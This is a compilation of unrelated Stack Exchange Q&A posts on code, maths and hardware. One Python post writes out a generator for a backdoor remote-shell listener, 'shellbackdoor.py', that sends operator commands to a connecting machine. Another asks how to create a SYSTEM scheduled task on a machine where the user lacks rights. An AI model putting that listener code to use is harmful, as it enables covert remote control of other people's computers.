text:
Q: Bypass Task Scheduler is not working. Any Idea or Trick? I have Powershell 2.0 and Windows 7 in two machines.
Im admin of one but the other has some security restrictions.
Learning in google, i found the next code:
$hour24 = (Get-Date).ToString("HH:00")
& schtasks /create /tn MyBATScheduledTask /sc HOURLY /mo 1 /ST ${hour24} /f /ru SYSTEM /tr "C:\Users\Gabriel\Desktop\MyBat.bat"

That works using Admin rights, but when i try on the second machine gets:
"Access Denied"
I played with other codes also but nothing usefull.
There is a secret? There is possible?

A: This is no a PowerShell code issue.
Many configs in Windows require you be admin on the box. So, if admin is required by Windows, then admin must be used in the PowerShell session.
Also, that command as written is not really correct. Quoting matters when running external commands / executables.
PowerShell: Running Executables

*The Call Operator &

  Why: Used to treat a string as a SINGLE command. Useful for dealing
  with spaces.
In PowerShell V2.0, if you are running 7z.exe (7-Zip.exe) or another
  command that starts with a number, you have to use the command
  invocation operator &.
The PowerShell V3.0 parser do it now smarter, in this case you don't
  need the & anymore .
Details: Runs a command, script, or script block. The call operator,
  also known as the "invocation operator," lets you run commands that
  are stored in variables and represented by strings. Because the call
  operator does not parse the command, it cannot interpret command
  parameters
Example:

& 'C:\Program Files\Windows Media Player\wmplayer.exe' "c:\videos\my home video.avi" /fullscreen

Things can get tricky when an external command has a lot of parameters
  or there are spaces in the arguments or paths!
With spaces you have to nest Quotation marks and the result it is not
  always clear!
In this case it is better to separate everything like so:

$CMD = 'SuperApp.exe'
$arg1 = 'filename1'
$arg2 = '-someswitch'
$arg3 = 'C:\documents and settings\user\desktop\some other file.txt'
$arg4 = '-yetanotherswitch'

& $CMD $arg1 $arg2 $arg3 $arg4

# or same like that:

$AllArgs = @('filename1', '-someswitch', 'C:\documents and settings\user\desktop\some other file.txt', '-yetanotherswitch')

& 'SuperApp.exe' $AllArgs


text:
Q: Python, I am coding a remote shell maker and keep on running into syntax errors import os
os.system("touch shellback.py")
a = raw_input("IP of The Listener(you)> ")
print "Set ip to "+ a +""
file = open("shellbackdoor.py", "a")
file.write("from socket import *\n")
file.write("HOST = '"+ a +"'\n");
file.close()
file = open("shellback.py", "a")
file.write("PORT = 443\n")
print "You might to to port forward your router to the port 443"
file.write("s = socket(AF_INET, SOCK_STREAM)\n")
file.write("s.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\n")
file.write("s.bind((HOST, PORT))\n")
file.write("print 'Listening on "+ a +":%s' % str(PORT)\n")
file.write("s.listen(10)\n")
file.write("conn, addr = s.accept()\n")
file.write("print 'Connected by', addr\n")
file.write("data = conn.recv(1024)\n")
file.write("while 1:\n")
file.write("     command = raw_input("> ")")
file.write("     conn.send(command)\n")
file.write("     if command == "quit":\n")
file.write("          break\n")
file.write("     data = conn.recv(1024)\n")
file.write("     print data\n")
file.write("conn.close()\n")

I keep on running into a syntax error on
file.write("     if command == "quit":\n")

put I don't know why
It used two lines above on
file.write("     command = raw_input("Insert your command or quit>")")

but it stopped the error after I changed it to
file.write("     command = raw_input("> ")")

A: you are doing it right . But you need to escape the double quotes like i have shown below
line from your code :
file.write("     if command == "quit":\n")

Fixed Line
file.write("     if command == \"quit\":\n")

hope this helps

redpajama_set_name: RedPajamaStackExchange


text:
Q: Filter sentencs based on search words using python? I got a text file containing many sentences. I want to query the text file with search words and return those sentences that contain the query words.
Effort so far:
h = input("Enter search word: ")
with open("file.txt") as openfile:
    for line in openfile:
        for part in line.split():
            if  h in part:
                print (part)

file.txt contains these sentences
On the Insert tab, the galleries include items that are designed to coordinate with the overall look of your document.
You can use these galleries to insert tables, headers, footers, lists, cover pages, and other document building blocks.
When you create pictures, charts, or diagrams, they also coordinate with your current document look.
You can easily change the formatting of selected text in the document text by choosing a look for the selected text from the Quick Styles gallery on the Home tab.
You can also format text directly by using the other controls on the Home tab.
Most controls offer a choice of using the look from the current theme or using a format that you specify directly.
To change the overall look of your document, choose new Theme elements on the Page Layout tab. To change the looks available in the Quick Style gallery, use the Change Current Quick Style Set command.
Both the Themes gallery and the Quick Styles gallery provide reset commands so that you can always restore the look of your document to the original contained in your current template.

Output: for the 'galleries' search  it returns galleries twice but i need to return the sentences.
How to query multiple words search and return those sentences containing those combination (not necessarily an n gram or in order) For example if i type 'overall' as one word and 'Layout' as another search word it should return the following sentence. Search words are case insensitive
To change the overall look of your document, choose new Theme elements on the Page Layout tab.

HELP!

A: This for multiple search words:
myfile = "queryfile.txt"
search_wordlist = input("Enter search words, separated by a comma\n")
mylist = search_wordlist.split(",")

with open(myfile) as openfile:
   for line in openfile:
      for term in mylist:
         if term in line:
             print(line)


text:
Q: Extension $L/K$ and the field $K[a]$ I'm not sure I fully understand what is an extension $L/K$. Is it correct to say it is a field $L$ that contains a subfield isomorphic to $K$?
Keeping this in mind, is it correct to say that considering an extension $L/K$, $K[a]$ is the smallest subring of $L$ that contains a and a subfield isomorphic to $K$?
Considering these definition, $K[a]$ is just defined up to isomorphism no?

A: Actually depending on the authors you can find two definitions of a field extension : some require that $K$ is included in $L$, and some just require that there is a morphism $K\to L$ (necessarily injective).
But in the second case, the morphism is part of the data, so you can identify $K$ with a subfield of $L$ without ambiguity.


text:
Q: Whats the error in my derivation that i-squared is +1? Here is my derivation.
$i^2= ((-1)^{0.5})^2$
$=((-1)^2)^{0.5}$
= $1$
Is there a rule saying that 2nd line is not allowed?
I have seen on a related post that sqrt(a).sqrt(b)=sqrt(a.b) is true only if a and b are above zero
But i do not understand what it can mean for a and b (2 complex numbers) to be greater than zero?  Please explain this rule.  And also if the rule can be more generally stated?
Note: i learnt in school that square root of x means the POSITIVE square root of x.
That was true throughout all algebra before we got to complex numbers.
I now understand that that referred to the "principal" root. (Root with the highest real element).
Also when we define i as square root of -1, this is a strange statement actually because also, -i is also sqr rt of -1.


text:
Q: Login credentials for puppeteer running on a rocker container I am running puppeteer on a docker container in headless mode to test our website. The first page is the login page. The puppeteer script and docker files are stored in an internal git repo. What is a good way of securely storing the login credentials?
Obviously not as a file in the fit repo. Docker secrets is an option, what are some other options? I need puppeteer to read them without any user intervention.

A: You can pass the credentials as environment variables to your docker container. The following line starts the docker container and passes the variables LOGIN_USER and LOGIN_PASSWORD from your host to your docker environment. That way, you specify them as environment variables inside your host system, but you do specify them inside your code or repository.
Starting Docker
docker run -e LOGIN_USER LOGIN_PASSWORD [...]

Inside the container
Inside your container, you then use the variable by accessing process.env.LOGIN_USER and process.env.LOGIN_PASSWORD like this (example using page.type):
page.type('#input-field', process.env.LOGIN_USER);

Setting the environment variables
There are multiple options to set the environment variables. You can either set the permanently (in case you want to run multiple docker containers) or only for a single command. Check out this answer on askubuntu for more information.


text:
Q: React native get country and city I need to get users country and city for my app.
I can get lat and log with this code.
How can I get city and country in react native
import GetLocation from 'react-native-get-location';

getUserLocation() {
    GetLocation.getCurrentPosition({
      enableHighAccuracy: true,
      timeout: 15000,
    })
      .then(location => {
        console.log('location');
        console.log(location);
      })
      .catch(error => {
        const {code, message} = error;
        console.warn(code, message);
      });
  }

it returns
accuracy: 20
altitude: x0.47877258310501
bearing: 0
latitude: x0.7637253
longitude: x9.9530597
provider: "fused"
speed: 0
time: xx25230494592

Also tryed
import Geolocation from 'react-native-geolocation-service';
    Geolocation.getCurrentPosition(
      position => {
        console.log('position');
        console.log(position);
      },
      error => {
        // See error code charts below.
        console.log(error.code, error.message);
      },
      {enableHighAccuracy: true, timeout: 15000, maximumAge: 10000},
    );

and it returns almost same. alt  latitude longitude,
coords:
accuracy: 20
altitude: x0.52203785539176
altitudeAccuracy: 3
heading: x70
latitude: x0.7637262
longitude: x9.9530588
speed: 0.0013554140459746122
__proto__: Object
mocked: false
provider: "fused"
timestamp: 1625231106853

A: Have a try by using the npm package to get the address from the latitude and longitude values. React Native Geocoding
For this, you might be required to generate a geocoding API key from the Google Cloud
Code ex.
import Geocoder from 'react-native-geocoding';

// Initialize the module (needs to be done only once)
Geocoder.init("xxxxxxxxxxxxxxxxxxxxxxxxx"); // use a valid API key

// Search by geo-location (reverse geo-code)
Geocoder.from(41.89, 12.49)
        .then(json => {
                var addressComponent = json.results[0].address_components[0];
            console.log(addressComponent);
        })
        .catch(error => console.warn(error));


text:
Q: Retreiving the SOAP message context from inside the service endpoint I have a spring boot application which expose SOAP web service using spring-boot-starter-web-services.
I'am getting the request's messageContext using EndpointInterceptor
@Component
public class GlobalEndpointInterceptor implements EndpointInterceptor {

    @Override
    public boolean handleRequest(MessageContext messageContext, Object endpoint) throws Exception {

        //Here I get the messageContext
    }
}

In my service EndPoint I have :
@Endpoint
public class CountryEndpoint {

    @PayloadRoot(namespace = NAMESPACE_URI, localPart = "addCountryRequest")
    @ResponsePayload
    public AddCountryResponse addCountry(@RequestPayload AddCountryRequest request) {

        //Insert country and get the autogenerated ID

        //Insert the country ID along with the messageContext retreived from the intercepter. I can't get the messageContext here  !
    }
}

How can I retreive the message context inside my service endpoint

A: You can do the following to get the SOAP Envelope:
@PayloadRoot(namespace = NAMESPACE_URI, localPart = "addCountryRequest")
@ResponsePayload
public AddCountryResponse addCountry(@RequestPayload AddCountryRequest request, MessageContext context) {

    //Insert country and get the autogenerated ID

    ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
    try {
        messageContext.getRequest().writeTo(outputStream);
        String httpMessage = new String(outputStream.toByteArray());
        System.out.println(httpMessage);
    } catch (IOException e) {
        e.printStackTrace();
    }

}


text:
Q: Aggregate rates from database I have a collection in MongoDB. Model is:
{
  currency: String,
  price: Number,
  time: Date
}

Documents are recorded to that collection any time the official rate for currency changes.
I am given a timestamp, and I need to fetch rates for all available currencies to that time. So first I need to filter all documents whose time $lte then required, then I need to fetch only those with max timestamps. For each currency.

A: after seeing your requirement , I think you want max number of price and time , use max operator
db.collection.aggregate(
   [
     {
       $group:
         {
           _id: "$currency",
           time: { $max: "$time"},
           price: { $max: "$price" }
         }
     }
   ]
)

A: You can use mongo aggregate function to do so. Please find the example below:
db.<collection_name>.aggregate([
        // First sort all the docs by time in descending
        {$sort: {time: -1}},
        // Take the first 3 of those
        {$limit: 3}
    ])

Hope this helps !!


text:
Q: Android with SDL 2.0, setting a picture as background I'm experimenting with android SDL 2.0, however I encountered a problem that I just can't solve. My problem is that I try to make a 1080*1920 picture as the background of my application. I create it in photoshop, but whenever I try to start the app on my phone, the image quality is much worse.
Here's an example.You can't really see on the picture how bad it is, but looking on my phone screen, it is way worse:
The picture
The picture on my phone
The code I'm using:
int main(int argc, char *argv[])
{
  int w, h;
  KEP kep;
  SDL_Window *window;
  SDL_Renderer *renderer;
  SDL_Surface *surface;
  SDL_CreateWindowAndRenderer(0, 0, 0, &window, &renderer);
  SDL_GetWindowSize(window, &w, &h);

  surface = IMG_Load("hatter.png");
  kep.w = w;
  kep.h = h;
  kep.texture=SDL_CreateTextureFromSurface(renderer, surface);
  SDL_FreeSurface(surface);
  SDL_Rect destination={0, 0, kep.w, kep.h};

  SDL_RenderClear(renderer);
  SDL_RenderCopy(renderer, kep.texture, NULL, &destination);
  SDL_RenderPresent(renderer);
  return 0;
}

The "kep" is just a structure with the texture, width, and height of the picture, declared earlier. I'm using SDL_image extension right now, but it didn't work with the SDL_LoadBMP() either.
What can I do to don't end up in such a bad quality?
Thanks a lot!

A: I answered something similarly recently that should help with this as well; here it is:
First off make sure that the image is in a small file type format like "PNG". Second when blitting the image make sure that you are not adding the transparency color to the background image is it is pointless and takes up a LOT of cpu cycles. Here's an example of code I've written a long time ago as a wrapper for image loading
SDL_Surface* altSDL::load_image(std::string filename)
{
    SDL_Surface* loadedImage = NULL;

    SDL_Surface* optimizedImage = NULL;

    loadedImage = IMG_Load( filename.c_str() );

    if( loadedImage != NULL )
    {
        optimizedImage = SDL_DisplayFormat( loadedImage );
        SDL_FreeSurface( loadedImage );
    }
    else
    {
        Failure* fail;
        fail = Failure::getInstance();
        fail->failLog(filename);
    }

    if( optimizedImage != NULL )
    {
        Uint32 colorkey = SDL_MapRGB( optimizedImage->format, 0xFF, 0, 0xFF );
        SDL_SetColorKey( optimizedImage, SDL_SRCCOLORKEY, colorkey );
    }

    return optimizedImage;
}

In this code you will be able to pass all your images into this to be optimized very seamlessly, but in the case of background/Large images you would need to make sure that this last block of code is changed to something more along the lines of something like this:
//Added some Sudo code

    if( loadedImage != NULL && !isBigImage)
            {
                optimizedImage = SDL_DisplayFormat( loadedImage );
                SDL_FreeSurface( loadedImage );
            }
            else if(!isBigImage)
            {
                Failure* fail;
                fail = Failure::getInstance();
                fail->failLog(filename);
            }

the isBigImage is the sudo code i added and is a parameter passed in; in certain cases.This will make all your images optimized, smaller(Should make sure they are png files) and will make it so the transparency is only added to small image files so your background does not solw your fps


text:
Q: GREP: Find words containing multiple specific characters To clarify a bit, while I am aware how to grab words with a single specific character, I'm unsure how to approach looking for multiple of them. For example, what grep command would be used to retrieve only the words containing both "b" and "p" (in any order), not just one or the other?
Using the above example, if you're given words like "bear," "pear," "biography," and "printable," it would only return the last two words. These are some of my previous attempts.
grep -E "\b[bp]\b" input
grep -E "\b(b|p)\b" input
grep -E "\bb.*p\b" input

A: you can do it with a regular expression. For instance, here the code snippet for your problem.
grep '\w*[b]\w*[p]\w*\|\w*[p]\w*[b]\w*' test.txt

Helpful links to read further:

*

*https://www.cyberciti.biz/faq/grep-regular-expressions/

*https://regexr.com/


text:
Q: Does Datamapper for Codeigniter force an intermediate table for all relationships? I'm moving towards an ORM for my codeigniter application and have chosen datamapper. However, in the rules section, it states the following:

A joining table must exist between
  each related normal tables, regardless
  of the type of relationship.

I have dozens of tables that are in a one->many relationship. Does this mean that I have to create intermediate (joining) tables between each of them as if they were many-many?

A: No, actually, the model that has a $has_one relationship set will have a field ending in _id, which refers to the object with the $has_many relationship set.
So, for example:
class Recipe extends DataMapper {
    var $has_many = array('product', 'rating', 'recipe_category');
    var $has_one = array('recipe_source', 'user');
    (...)
}

class Recipe_Source extends DataMapper {
    var $has_many = array('recipe');
    (...)
}

In this case, DataMapper made a table recipes with a recipe_source_id column, and a recipe_sources table that required no extra fields.
Now, for many-to-many relationships, a join table will be created, and it follows a strict convention.
The join table name will be the two plurals of the joined models, separated by an underscore, in alphabetical order.
So, using this model:
class Product extends DataMapper {
    var $has_one = array('cheese_style', 'butter_style', 'cheese_flavor');
    var $has_many = array('product_size', 'recipe');
    (...)
}

Now, I end up with a join table in my database called products_recipes.
This is how it is handled by the DMZ DataMapper library (http://www.overzealous.com/dmz/), which is supposed to be a drop-in replacement for the old stensi DataMapper library, so I'm going to assume the conventions are the same.
Even so, I highly recommend making the switch to DMZ.

A: The doc nevers says explicitly in one place what you should do to avoid using a joining table for something as simple as a one-to-many relationship. You collect the pieces of information around (Database Tables, Setting up Relationships, Advanced Relationships) and understand that it is possible without being shown how-to.
Just create the foreign key in the child table using the "_id" suffix convention and Datamapper shall recognize it automatically (at least that is how it worked out for me), assuming that you set up the has_one and has_many attributes in the two models. As country_id in this example:
// class User extends DataMapper { var $has_one = array('country'); ... }
CREATE TABLE `users` (
    `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
    `country_id` int(10) unsigned NOT NULL,
    `username` varchar(20) NOT NULL,
    `password` varchar(50) NOT NULL,
    `confirm_password` varchar(50) NOT NULL,
    `email` varchar(255) NOT NULL,
    PRIMARY KEY (`id`)
)

// class Country extends DataMapper { var $has_many = array('user'); ... }
CREATE TABLE `countries` (
    `id` int(11) unsigned NOT NULL AUTO_INCREMENT,
    `name` varchar(50) NOT NULL,
    PRIMARY KEY (`id`)
)

A: Yes, unfortunately, it does mean that. This is one of the reasons why I had to change my DB design


text:
Q: Display everything in one row css I am trying to put 2 different div's in one row.
I tried creating a new div with display:inline/inline block both, but still they are still displayed in next line.
How can I use CSS o display everything in one row.
   <div id ="yourwrapper">

    <FORM NAME="myform" ACTION="" METHOD="GET">
    Box Name:
        <SELECT NAME="list1" ID="list1">
               <OPTION>CD1</OPTION>
         </SELECT>
    <INPUT TYPE="button" NAME="button" VALUE="New" onClick="AddItem1()"/>
    <INPUT TYPE="button" NAME="button" VALUE="Delete" onClick="DeleteItem1()"/>
    <INPUT TYPE="button" NAME="button" VALUE="Copy" onClick="CopyItem1()"/>

  </div>

A: You can also try
#yourwrapper {
  whitespace: no-wrap;
}

which will tell the css not to wrap the elements, and they'll go off the page.

A: Try this:
#yourwrapper > div{
  float:left;
}

A: Use span rather than divs if you plan to use inline elements. To make elements align to each other use rather float:left (and then clear in the end) or display:inline-block.


text:
Q: How to change date format in cypress Scenario:
I have a data_value in field input_date as: 30/06/2020 13:40
How can I test another div contains the same value in another format - 23rd June 2020 13:40
const inp_date = cy.get('input_date').invoke('val')
cy.get('div').should('contain', inp_date)

How will I format inp_date so that it is in the format 23rd June 2020 13:40
NOTE:  input_date and  are in two different pages. Means, When I am in the page where I need to test the div, input will not be available

A: Refer: Cypress includes moment.js
I have used Cypress.env to transfer data between pages for validation.
Page 1:
Markup:
<input type="text" id="input_date" value="30/06/2020 13:40" />

Page 2:
Markup:

23rd June 2020 13:40

30th June 2020 13:40

Test:
cy.get('#input_date').then(($el) => {
    return new Cypress.Promise((resolve, reject) => {
        const formattedDate = Cypress.moment($el.val(), 'DD/MM/YYYY HH:mm').format('Do MMMM YYYY HH:mm');
        if (formattedDate) {
            resolve(formattedDate);
        } else {
            reject(0); // handle reject;
        }
    })
}).then(formattedDate => {
    Cypress.env('inputDate', formattedDate);
    cy.log('created new user on ' + Cypress.env('inputDate'));
});

cy.wait(0);
cy.log('created new user on ' + Cypress.env('inputDate'));
cy.wait(1000);
cy.log('created new user on ' + Cypress.env('inputDate'));
cy.visit('http://localhost:8081/page2');
cy.get('div').should('contain', Cypress.env('inputDate'));


text:
Q: How data binding is working in filters in AngularJS? This is my button
<button ng-repeat="item in data" ng-click="selectCategory(item)">{{item}</button>

And this is my controller
.controller("productListCtrl", function ($scope) {
    let selectedCategory = null;

    $scope.selectCategory = function (item) {
        selectedCategory = item;
    };
    $scope.categoryFilterFn = function (product) {
        return selectedCategory == null || product.category == selectedCategory;
    }
});

I have created method categoryFilterFn for filter filter and I use it in other part of my code
 <div ng-repeat="item in data| filter:categoryFilterFn" class="well">

so I use filter for this div. When the page is loaded first time filter is working, but when I click button it goes to selectCategory() function and changes the value of selectedCategory variable(which is not even a $scope property, just a variable). After that angular filters the ng-repeat again. I want to understand why ? I understand that my variable selectedCategory is used in categoryFilterFn function (which is filter), but does it mean that every change of it will cause new rendering ?

A: In angularjs in every change detection filter gets executed. When you are invoking $scope.selectCategory function angular internally run the digest cycle and firing events to identify the changes happening in the scope. So each digest cycle or change detection filters are gonna fire again.


text:
Q: Adding an overall Kaplan Meier curve using autoplot in R I have a data frame that looks like this:
ID Time Censor   Region
 X1  5    4      NorthAmerica
 X2  10   12      Europe
...

I plot a K-M curve using autoplot via:
survivalFit <- survfit(Surv(survivalPlotData$Time, survivalPlotData$Censor)~Region, data = survivalPlotData)
autoplot(survivalFit)
It works fine.
However, I also want to plot an overall KM survival curve on the same plot that doesn't differentiate by region. What's the best way to do this?
The only way I found was to basically double the dataframe with another group that says "ALL" and then plot that but this seems terribly inefficient.


text:
Q: Fill TextBox with data on page load using javascript I'm working with a Google-Extention which allows me to open a new tab containing a form. After the form gets filled out and saved, every time I open this tab again the form should be prefilled with the data saved earlier.
Here is how the data gets saved:  WORKS!
function saveCheckoutData() {

    var vName = document.getElementById('txbx_name').value;

    chrome.storage.sync.set({'name': vName}, function() {
        console.log(vName);
    })
}

Here is how i get the data:    WORKS!
function getdata() {
        chrome.storage.sync.get('name', function(data) {
            var name = data.name;
            if(name != null){
                document.getElementById("txbx_name").value = name;
            }
        });
}

The code above gets called on button click and works perfectly!
But as soon I try to do this when the tab gets opened it doesn't work (the tab gets opened but there is nothing in the textbox): DOESN'T WORK!
function configAutofill(){

    var newURL = "autofill_data.html";
    chrome.tabs.create({ url: newURL });

    chrome.storage.sync.get('name', function(data) {
        var name = data.name;
        if(name != null){
            document.getElementById("txbx_name").value = name;
        }
    });
}

Does some one have an Idea why these lines do not work when creating a new tab?
Many thanks in advance.

A: Here's a question for you.
After creating a new tab, you access document.getElementById. Yes, but which document?
In your case, it would be the page calling create - which is not the created page.
In your case, it seems like you're opening a page that's part of the extension. Then you should just include code in it that will run on load.
You may want to check document.readyState:
if (document.readyState === "loading") {
  document.addEventListener('DOMContentLoaded', getdata);
} else {
  getdata();
}

If you're trying to do this with a webpage, you'll need a content script. Again, those normally execute after DOM is parsed - so just call getdata() at top level.


text:
Q: Jest test files that import typescript modules have to `require` and then use the `default` key I'm running a test file that imports a typescript module, and as such the test.js file looks something like:
// typescript-module.ts
const fn = (): void => false;

export default fn

const module = require("./typescript-module");

The only problem I seem to have is that I don't automatically get the default export assigned via commonjs? I have access to an object with the shape { default : ..., __esmodule: true} which tells me that... it hasn't been parsed into commonjs properly?
I obviously can get it working if I just const module = require("./typescript-module").default but that just feels... real messy and unsanctioned to me.
My .tsconfig has allowSyntheticDefaultImports set to true, and esModuleInterop is true also.
I'm using ts-jest for transforming ts files for tests in my jest.config.js. I'm just wondering if there's something I'm missing
I want to be able to require my ts modules default exports, but I'm just not sure what part of the toolchain controls that.
If you need any more information, please let me know!


text:
Q: Using long button presses to vary duty cycle of 555 (instead of potentiometer) Apologies for poor phrasing and structure, this is my first post.
I am trying to learn how to implement 555 to create a PWM with variable duty cycle  (for control of LED brightness)
Rather than the usual potentiometer route,  I would like to use length of button press to control the duty cycle.
Eg.  While Button pressed duty cycle increases (maybe 20% per second) .
I have tried searching forums to get a starting point. I had hoped there is a way to use another 555 to generate a regular pulse when a trigger is held high,  and the pulse to trigger an increase in duty cycle. But so far I am unable to understand how to work it out,  or where to search.
Ps. As an added extra,  I would like to implement a latch so that alternate button presses increase/decrease duty cycle.
So far I have only microcontroller experience,  but would love to implement this with 555 or other specific IC.
Many thanks

A: Your design requires state-based control of an oscillator and PWM generator.
Two 555s can give you the oscillator and PWM generator. However, they're the much smaller part of your total circuit. The state-based control is the IC-hungry part if done with conventional circuitry.
Using an MCU makes for a far simpler circuit, with just the one IC to do the part you describe. That'll have fewer components in it than the 2x 555 you'd need for oscillator and PWM on their own.
As an aside...
There's an irony that you've looked for an MCU-free circuit to build but picked one that an MCU is particularly good at. It's great that you're looking beyond MCUs and into conventional circuitry. In professional engineering (development costs), manufacturing (programming costs) and support (field service), the cost of using MCUs (in costed hours) can quickly push the total cost of a board design far beyond the parts cost for a conventional circuit.
Consider 10,000 boards using a £1 MCU doing a very simple task that carries £30,000 of dev/manf/support costs - that's actually £4/board, not £1/board. A conventional circuit with £3 in 10 components is cheaper and likely to have a much higher calculated reliability. Plus, a sizable part of the £30,000 has to be found in the first year's engineering budget.
This is just one example. Other situations can easily require adding £100s or £1000s to board costs.
These immediate and lifetime costs are often ignored in MCU suggestions on the site but a business can't ignore them. They must be part of any design proposal.

A: What gave you the idea that you can build this using 555s only? I mean: yes, a 555 is good enough to implement a NAND gate, so theoretically you could build MCU using those, and run whatever code you'd want to - but that's not what you had in mind, right?
A 555, used as an analog building block, has rather ephemeral memory: it does have some state, but this state is constantly changing, and can't be stabilized to form long-term memory.
I presume that you want the duty cycle to be stable over long periods of time. For that purpose, analog means of storing the duty cycle won't work - unless you went really overboard, like using an extremely low leakage capacitor-based storage with the "pick-up" circuit using ultra low bias current op-amp and Teflon standoff on the PCB, or a mechanical gyro as analog memory.
Instead, you'll need to store the duty cycle digitally.
Typically, you'd have a clock source that runs at the PWM frequency times the number of levels of brightness adjustment, an adjust clock divider so that pressing a button will adjust the duty cycle at a reasonable speed, an up/down counter storing and adjusting the duty cycle, and a toggle latch to store the direction of adjustment (since you want it to alternate with just one button).
The output section can be:

*

*"analog", where a DAC converts the duty cycle value to voltage, and a classic analog PWM section converts that voltage to a PWM waveform, or

*digital, with a magnitude comparator or a down counter to convert the duty cycle to a PWM waveform.

If you only need a few levels, then it'd be OK to cycle through them, and then the problem is slightly simpler: a Johnson counter could be used to select the brightness level, a simple resistor DAC would convert that to a voltage, and then your favorite voltage-driven PWM could convert it to a digital PWM waveform.
Now, don't misunderstand any of the above as discouraging an MCU-free approach. If your specs will be reasonable, then it's clearly possible to put it together using a few dirt-cheap 40xx or 74HCxx series chips. But that'll only work if you keep the specs aligned with what's easy to implement without an MCU. Most modern "pushbutton dimmer" circuits use a low pin count MCU that costs much less than a dollar. On price alone, you can't beat that. But if that MCU goes on back-order for half a year, what then? A more discrete design is less likely to suffer from supply chain disruptions, since with some care you can make it so a variety of substitute chips could be used in each position on the board. For some functions you can even use 40xx and 74HC as alternates, since they share pinouts.

A: While I agree with the other answers that a microcontroller is the easiest solution, you explicitly asked for something using the 555 (and I think using a microcontroller to drive the 555 would be cheating :-).
There is an easier way, using just the 555 and an opamp (plus a few discrete components). Use a capacitor to contain a reference voltage, charge/discharge the capacitor with two separate pushbuttons and resistors, and then use the approach described here: https://forum.allaboutcircuits.com/threads/555-timer-set-duty-cycle.74036/#post-520007, with the capacitor instead of the resistor bridge.


text:
Q: Simple ONLY php login system (Not secure) I'm trying to make a password only login in php, because I have a "pocket server" wich always changes domains (I use ngrok so I don't have to portforward), And I need a domain tracer so my users always know the link to my pocket server, I already have a website and I want to make it so I don't have to make a complicated login system, I want to identify myself just by a password and nothing else, the website is simple it has a textbox and some text
Goals:
-Have a simple password login
-And If I am logged in, i can change the domain displayed on the public website
My code so far:
    <!DOCTYPE html>

  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <title>Killer Doge</title>
  <link rel="stylesheet" href="style.css">

Killer Doge Tracer (Link changes daily)

<?php
$text = "domain";
?>

Current domain:

<?php
echo $text;
?>

<?php echo '<input type="text" name="name1" value="'.$admin.'">';
If ($admin == "694205") {
    echo yees;
}

?>

A: It's pretty much what @Maarten van Middelaar said, but a tad more complicated.
I'll try to explain through code comments:
<?php // always start the session first.
  if (session_status() == PHP_SESSION_NONE) {
    session_start();
  }
  //Check if loginform was submitted:
  if(isset($_POST['admin'])){
    if($_POST['admin'] == '12345678'){
      //user logged in correctly, store in session so you don't get instantly logged out:
      $_SESSION['loggedIn'] = "logged in!";
    }
  }

//check if domainchanger form was submitted and user is logged in
  if(isset($_POST['newdomain']) && isset($_SESSION['loggedIn'])){
   $newDomain = $_POST['newdomain'];
   //TODO: Set new domain in the database so your website can retrieve it.
  }

  //Check if user is not logged in already
  if(!isset($_SESSION['loggedIn'])):
  //Show login form if not logged in
?>
<form method="post">
   <input type='text' name='admin' />
   <input type='submit' value="log in!" />
</form>

<?php else:
//if logged in, show domain changer thing
//Show the current domain as the default value for the input
//TODO: make database connection here to get current domain
//structure: Create query to get current domain -> $currentDomain = dbresult
?>
<form method="post">
  <input type="text" name="newdomain" value="<?= $currentDomain ?>" />
  <input type='submit' value="change domain!"/>
</form>
<?php endif ?>

I hope this makes everything clear. Tried to do it as step-by-step as possible.
Please let me know if you have any questions :)


text:
Q: SendMouseClickEvent doesn't work sometimes I'm trying to simulate a click event on a HTML5 canvas using SendMouseClickEvent, but even though this works sometimes, sometimes it doesn't. This is the code snippet I'm using to simulate a click:
browser.GetBrowser().GetHost().SendMouseMoveEvent(300, 25, false, CefEventFlags.None);
browser.GetBrowser().GetHost().SendMouseClickEvent(300, 25, MouseButtonType.Left, false, 1, CefEventFlags.None);
browser.GetBrowser().GetHost().SendMouseClickEvent(300, 25, MouseButtonType.Left, true, 1, CefEventFlags.None);

For example; when I load this game in ChromiumWebBrowser, although it works fine in first 2 scenes where we click on canvas to skip the intro, this approach doesn't work in game.
I'm pretty sure it still clicks there but I don't have a clue what's happening here.

A: To Simulate a Mouse Click (and Move):
// get browser host
var wbHost = chromiumWebBrowser1.GetBrowser().GetHost();

// clicking cordinates
int xPosition = 100;
int yPosition = 300;

// send mouse move event
wbHost.SendMouseMoveEvent(xPosition, yPosition, false, CefEventFlags.None);
Thread.Sleep(50);

// send click
wbHost.SendMouseClickEvent(xPosition, yPosition, MouseButtonType.Left, false, 1, CefEventFlags.None);
Thread.Sleep(50);
wbHost.SendMouseClickEvent(xPosition, yPosition, MouseButtonType.Left, true, 1, CefEventFlags.None);

1 - Sometimes (specially with anti-crawler environments) it's necessary to also mimic the mouse movement. I do it using the method SendMouseMoveEvent as shown in the first line.
2 - The clicking occurs at the specified x and y coordinates, but is very important to know that this coordinates are relative to the browser component window (viewport). So if your web browser component is only 100px tall and you send a clicking command to y coordinate as 150px the clicking will occur but outside the web browser, hence, not in the web page.
3 - One trick to see if the click is really being executed, and where exactly, is change it from MouseButtonType.Left to MouseButtonType.Right. Doing it, if there is no restrictions on the web page, you will be able to see the "mouse right button menu". If you are clicking outside, chances are that you'll see a "mouse right button menu" on the OS (Windows here, and I was able to see that I was clicking outside my component with this trick) .
4 - Also, the delays using Thread.Sleep(50); give the component time to execute properly events.


text:
Q: Apply group policy to specific users (in an OU) on specific computers (not in an OU) This has been bugging me for a while. Here's the setup:

*

*We have ~20 Win2k8r2 servers. They are separated into various OUs that I can't change. I have created a security group "DevHostsSG" that contain the computers where this policy should apply.

*We have ~40 users. There's a specific OU "DevUsersOU" that contains a dozen users that I want to apply a policy to. I've also created a security group DevUsersSG that contains the same users.

I need a specific folder redirect GPO applied to only the users in the DevUsersOU and only on the servers in the DevHostsSG security group. The users in DevUsersOU should not have the redirect policy apply on any other servers, and no other users should have redirection when they log onto a server in the DevHostsSG security group.
My progress so far:

*

*I have the loopback processing set so the redirection should apply

*When I set the policy to the DevUsersOU and then add the DevHostsSG to security filtering (with read and apply) it doesn't work anywhere (which I'm assuming is because there aren't any computers in that OU..?)

*When I set the policy to the domain and then use security filtering to include DevUsersSG and DevHostsSG, the policy applies even when DevUsers log into non-DevHosts

*When I apply the group policy to only the DevHostsSG it doesn't seem to work at all (which makes me wonder if loopback processing isn't working)

